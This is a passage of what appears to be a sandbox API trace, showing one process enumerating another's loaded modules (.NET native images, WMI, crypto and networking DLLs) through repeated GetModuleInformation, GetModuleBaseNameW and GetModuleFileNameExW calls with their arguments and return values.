GetLastError () returned 0x2 [0054.980] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0054.980] GetLastError () returned 0x2 [0054.980] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0054.981] GetLastError () returned 0x2 [0054.981] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749f0000, lpmodinfo=0x2701c50, cb=0xc | out: lpmodinfo=0x2701c50*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0054.981] GetLastError () returned 0x2 [0054.981] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0054.982] GetLastError () returned 0x2 [0054.982] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0054.982] GetLastError () returned 0x2 [0054.982] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75fd0000, lpmodinfo=0x2702de4, cb=0xc | out: lpmodinfo=0x2702de4*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0054.983] GetLastError () returned 0x2 [0054.983] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0054.983] GetLastError () returned 0x2 [0054.983] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0054.984] GetLastError () returned 0x2 [0054.984] GetModuleInformation (in: hProcess=0x4e4, hModule=0x755e0000, lpmodinfo=0x2703ee0, cb=0xc | out: lpmodinfo=0x2703ee0*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0054.984] GetLastError () returned 0x2 [0054.984] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0054.985] GetLastError () returned 0x2 [0054.985] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0054.985] GetLastError () returned 0x2 [0054.985] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749e0000, lpmodinfo=0x2704fd4, cb=0xc | out: lpmodinfo=0x2704fd4*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0054.986] GetLastError () returned 0x2 [0054.986] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0054.986] GetLastError () returned 0x2 [0054.986] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0054.987] GetLastError () returned 0x2 [0054.987] GetModuleInformation (in: hProcess=0x4e4, hModule=0x729c0000, lpmodinfo=0x27060d0, cb=0xc | out: lpmodinfo=0x27060d0*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0054.987] GetLastError () returned 0x2 [0054.988] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0054.988] GetLastError () returned 0x2 [0054.988] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0054.989] GetLastError () returned 0x2 [0054.989] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745d0000, lpmodinfo=0x2707268, cb=0xc | out: lpmodinfo=0x2707268*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0054.989] GetLastError () returned 0x2 [0054.989] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0054.990] GetLastError () returned 0x2 [0054.990] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0054.990] GetLastError () returned 0x2 [0054.990] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747d0000, lpmodinfo=0x2708364, cb=0xc | out: lpmodinfo=0x2708364*(lpBaseOfDll=0x747d0000, SizeOfImage=0x16000, EntryPoint=0x747d2dc3)) returned 1 [0054.991] GetLastError () returned 0x2 [0054.991] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0054.991] GetLastError () returned 0x2 [0054.991] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0054.992] GetLastError () returned 0x2 [0054.992] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74790000, lpmodinfo=0x2709460, cb=0xc | out: lpmodinfo=0x2709460*(lpBaseOfDll=0x74790000, SizeOfImage=0x3b000, EntryPoint=0x7479128d)) returned 1 [0054.992] GetLastError () returned 0x2 [0054.992] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74790000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0054.993] GetLastError () returned 0x2 [0054.993] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74790000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0054.993] GetLastError () returned 0x2 [0054.993] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74920000, lpmodinfo=0x270a55c, cb=0xc | out: lpmodinfo=0x270a55c*(lpBaseOfDll=0x74920000, SizeOfImage=0x5b000, EntryPoint=0x74964d48)) returned 1 [0054.994] GetLastError () returned 0x2 [0054.994] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74920000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0054.995] GetLastError () returned 0x2 [0054.995] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74920000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0054.995] GetLastError () returned 0x2 [0054.995] GetModuleInformation (in: hProcess=0x4e4, hModule=0x71a80000, lpmodinfo=0x270b694, cb=0xc | out: lpmodinfo=0x270b694*(lpBaseOfDll=0x71a80000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0054.996] GetLastError () returned 0x2 [0054.996] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x71a80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0054.996] GetLastError () returned 0x2 [0054.996] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x71a80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0054.997] GetLastError () returned 0x2 [0054.997] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73e70000, lpmodinfo=0x270c820, cb=0xc | out: lpmodinfo=0x270c820*(lpBaseOfDll=0x73e70000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0054.997] GetLastError () returned 0x2 [0054.997] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73e70000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0054.998] GetLastError () returned 0x2 [0054.998] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73e70000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0054.999] GetLastError () returned 0x2 [0054.999] GetModuleInformation (in: hProcess=0x4e4, hModule=0x70ea0000, lpmodinfo=0x270d9dc, cb=0xc | out: lpmodinfo=0x270d9dc*(lpBaseOfDll=0x70ea0000, SizeOfImage=0xbde000, EntryPoint=0x0)) returned 1 [0054.999] GetLastError () returned 0x2 [0054.999] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x70ea0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0055.000] GetLastError () returned 0x2 [0055.000] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x70ea0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")) returned 0x80 [0055.000] GetLastError () returned 0x2 [0055.000] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73cd0000, lpmodinfo=0x270eccc, cb=0xc | out: lpmodinfo=0x270eccc*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0055.001] GetLastError () returned 0x2 [0055.001] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73cd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0055.002] GetLastError () returned 0x2 [0055.002] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73cd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0055.002] GetLastError () returned 0x2 [0055.002] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749c0000, lpmodinfo=0x270feb0, cb=0xc | out: lpmodinfo=0x270feb0*(lpBaseOfDll=0x749c0000, SizeOfImage=0x17000, EntryPoint=0x749c35fa)) returned 1 [0055.003] GetLastError () returned 0x2 [0055.003] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0055.004] GetLastError () returned 0x2 [0055.004] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0055.004] GetLastError () returned 0x2 [0055.004] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749b0000, lpmodinfo=0x2710fac, cb=0xc | out: lpmodinfo=0x2710fac*(lpBaseOfDll=0x749b0000, SizeOfImage=0xe000, EntryPoint=0x749b1235)) returned 1 [0055.005] GetLastError () returned 0x2 [0055.005] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RpcRtRemote.dll") returned 0xf [0055.005] GetLastError () returned 0x2 [0055.006] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")) returned 0x23 [0055.006] GetLastError () returned 0x2 [0055.006] GetModuleInformation (in: hProcess=0x4e4, hModule=0x752b0000, lpmodinfo=0x27120b8, cb=0xc | out: lpmodinfo=0x27120b8*(lpBaseOfDll=0x752b0000, SizeOfImage=0x83000, EntryPoint=0x752b23d2)) returned 1 [0055.007] GetLastError () returned 0x2 [0055.007] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x752b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0055.008] GetLastError () returned 0x2 [0055.008] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x752b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0055.008] GetLastError () returned 0x2 [0055.008] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75220000, lpmodinfo=0x27131b4, cb=0xc | out: lpmodinfo=0x27131b4*(lpBaseOfDll=0x75220000, SizeOfImage=0x8f000, EntryPoint=0x75223fb1)) returned 1 [0055.009] GetLastError () returned 0x2 [0055.009] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75220000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0055.009] GetLastError () returned 0x2 [0055.010] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75220000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0055.010] GetLastError () returned 0x2 [0055.010] GetModuleInformation (in: hProcess=0x4e4, hModule=0x748e0000, lpmodinfo=0x27142b8, cb=0xc | out: lpmodinfo=0x27142b8*(lpBaseOfDll=0x748e0000, SizeOfImage=0x31000, EntryPoint=0x748e12d7)) returned 1 [0055.011] GetLastError () returned 0x2 [0055.011] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x748e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemdisp.dll") returned 0xc [0055.012] GetLastError () returned 0x2 [0055.012] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x748e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll")) returned 0x25 [0055.012] GetLastError () returned 0x2 [0055.012] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74880000, lpmodinfo=0x27153c4, cb=0xc | out: lpmodinfo=0x27153c4*(lpBaseOfDll=0x74880000, SizeOfImage=0x5c000, EntryPoint=0x748a2b48)) returned 1 [0055.013] GetLastError () returned 0x2 [0055.013] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74880000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemcomn.dll") returned 0xc [0055.014] GetLastError () returned 0x2 [0055.014] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74880000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")) returned 0x20 [0055.014] GetLastError () returned 0x2 [0055.014] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75bc0000, lpmodinfo=0x27164c8, cb=0xc | out: lpmodinfo=0x27164c8*(lpBaseOfDll=0x75bc0000, SizeOfImage=0x35000, EntryPoint=0x75bc145d)) returned 1 [0055.015] GetLastError () returned 0x2 [0055.015] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75bc0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WS2_32.dll") returned 0xa [0055.016] GetLastError () returned 0x2 [0055.016] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75bc0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")) returned 0x1e [0055.017] GetLastError () returned 0x2 [0055.017] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d30000, lpmodinfo=0x27175c4, cb=0xc | out: lpmodinfo=0x27175c4*(lpBaseOfDll=0x74d30000, SizeOfImage=0x6000, EntryPoint=0x74d31782)) returned 1 [0055.017] GetLastError () returned 0x2 [0055.017] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NSI.dll") returned 0x7 [0055.018] GetLastError () returned 0x2 [0055.018] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\NSI.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")) returned 0x1b [0055.019] GetLastError () returned 0x2 [0055.019] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749a0000, lpmodinfo=0x27186b0, cb=0xc | out: lpmodinfo=0x27186b0*(lpBaseOfDll=0x749a0000, SizeOfImage=0xa000, EntryPoint=0x749a149a)) returned 1 [0055.020] GetLastError () returned 0x2 [0055.020] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemprox.dll") returned 0xc [0055.021] GetLastError () returned 0x2 [0055.021] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")) returned 0x25 [0055.021] GetLastError () returned 0x2 [0055.021] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74980000, lpmodinfo=0x27197bc, cb=0xc | out: lpmodinfo=0x27197bc*(lpBaseOfDll=0x74980000, SizeOfImage=0x17000, EntryPoint=0x749876c5)) returned 1 [0055.022] GetLastError () returned 0x2 [0055.022] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wmiutils.dll") returned 0xc [0055.023] GetLastError () returned 0x2 [0055.023] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")) returned 0x25 [0055.024] GetLastError () returned 0x2 [0055.024] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74870000, lpmodinfo=0x271a8c8, cb=0xc | out: lpmodinfo=0x271a8c8*(lpBaseOfDll=0x74870000, SizeOfImage=0xf000, EntryPoint=0x748721a0)) returned 1 [0055.024] GetLastError () returned 0x2 [0055.024] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74870000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemsvc.dll") returned 0xb [0055.025] GetLastError () returned 0x2 [0055.025] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74870000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")) returned 0x24 [0055.026] GetLastError () returned 0x2 [0055.026] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73c30000, lpmodinfo=0x271b9d0, cb=0xc | out: lpmodinfo=0x271b9d0*(lpBaseOfDll=0x73c30000, SizeOfImage=0x96000, EntryPoint=0x73c4f8b9)) returned 1 [0055.027] GetLastError () returned 0x2 [0055.027] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73c30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fastprox.dll") returned 0xc [0055.028] GetLastError () returned 0x2 [0055.028] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73c30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")) returned 0x25 [0055.028] GetLastError () returned 0x2 [0055.028] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74850000, lpmodinfo=0x271cadc, cb=0xc | out: lpmodinfo=0x271cadc*(lpBaseOfDll=0x74850000, SizeOfImage=0x18000, EntryPoint=0x74851335)) returned 1 [0055.029] GetLastError () returned 0x2 [0055.029] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74850000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NTDSAPI.dll") returned 0xb [0055.030] GetLastError () returned 0x2 [0055.030] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74850000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\NTDSAPI.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")) returned 0x1f [0055.031] GetLastError () returned 0x2 [0055.031] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747f0000, lpmodinfo=0x271dbd8, cb=0xc | out: lpmodinfo=0x271dbd8*(lpBaseOfDll=0x747f0000, SizeOfImage=0x5f000, EntryPoint=0x747f2134)) returned 1 [0055.031] GetLastError () returned 0x2 [0055.032] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SXS.DLL") returned 0x7 [0055.032] GetLastError () returned 0x2 [0055.032] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\SXS.DLL" (normalized: "c:\\windows\\system32\\sxs.dll")) returned 0x1b [0055.033] GetLastError () returned 0x2 [0055.033] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74750000, lpmodinfo=0x271ecc4, cb=0xc | out: lpmodinfo=0x271ecc4*(lpBaseOfDll=0x74750000, SizeOfImage=0x3a000, EntryPoint=0x0)) returned 1 [0055.034] GetLastError () returned 0x2 [0055.034] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74750000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.ni.dll") returned 0x17 [0055.035] GetLastError () returned 0x2 [0055.035] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74750000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")) returned 0x78 [0055.036] GetLastError () returned 0x2 [0055.036] GetModuleInformation (in: hProcess=0x4e4, hModule=0x60350000, lpmodinfo=0x271fe8c, cb=0xc | out: lpmodinfo=0x271fe8c*(lpBaseOfDll=0x60350000, SizeOfImage=0x15000, EntryPoint=0x603547b6)) returned 1 [0055.036] GetLastError () returned 0x2 [0055.036] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x60350000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.dll") returned 0x14 [0055.037] GetLastError () returned 0x2 [0055.037] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x60350000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")) returned 0x5a [0055.038] GetLastError () returned 0x2 [0055.038] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73b20000, lpmodinfo=0x2721014, cb=0xc | out: lpmodinfo=0x2721014*(lpBaseOfDll=0x73b20000, SizeOfImage=0x104000, EntryPoint=0x0)) returned 1 [0055.039] GetLastError () returned 0x2 [0055.039] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Management.ni.dll") returned 0x18 [0055.040] GetLastError () returned 0x2 [0055.040] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")) returned 0x7a [0055.041] GetLastError () returned 0x2 [0055.041] GetModuleInformation (in: hProcess=0x4e4, hModule=0x6a310000, lpmodinfo=0x27221e4, cb=0xc | out: lpmodinfo=0x27221e4*(lpBaseOfDll=0x6a310000, SizeOfImage=0x9000, EntryPoint=0x6a31389b)) returned 1 [0055.042] GetLastError () returned 0x2 [0055.042] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x6a310000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wminet_utils.dll") returned 0x10 [0055.043] GetLastError () returned 0x2 [0055.043] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x6a310000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\wminet_utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")) returned 0x3e [0055.043] GetLastError () returned 0x2 [0055.043] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745b0000, lpmodinfo=0x272332c, cb=0xc | out: lpmodinfo=0x272332c*(lpBaseOfDll=0x745b0000, SizeOfImage=0x13000, EntryPoint=0x745b1d3f)) returned 1 [0055.044] GetLastError () returned 0x2 [0055.044] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0055.045] GetLastError () returned 0x2 [0055.045] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0055.046] GetLastError () returned 0x2 [0055.046] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73a20000, lpmodinfo=0x2724428, cb=0xc | out: lpmodinfo=0x2724428*(lpBaseOfDll=0x73a20000, SizeOfImage=0xf1000, EntryPoint=0x0)) returned 1 [0055.047] GetLastError () returned 0x2 [0055.047] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73a20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Configuration.ni.dll") returned 0x1b [0055.048] GetLastError () returned 0x2 [0055.048] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73a20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")) returned 0x80 [0055.049] GetLastError () returned 0x2 [0055.049] GetModuleInformation (in: hProcess=0x4e4, hModule=0x72480000, lpmodinfo=0x2725608, cb=0xc | out: lpmodinfo=0x2725608*(lpBaseOfDll=0x72480000, SizeOfImage=0x536000, EntryPoint=0x0)) returned 1 [0055.050] GetLastError () returned 0x2 [0055.050] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x72480000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Xml.ni.dll") returned 0x11 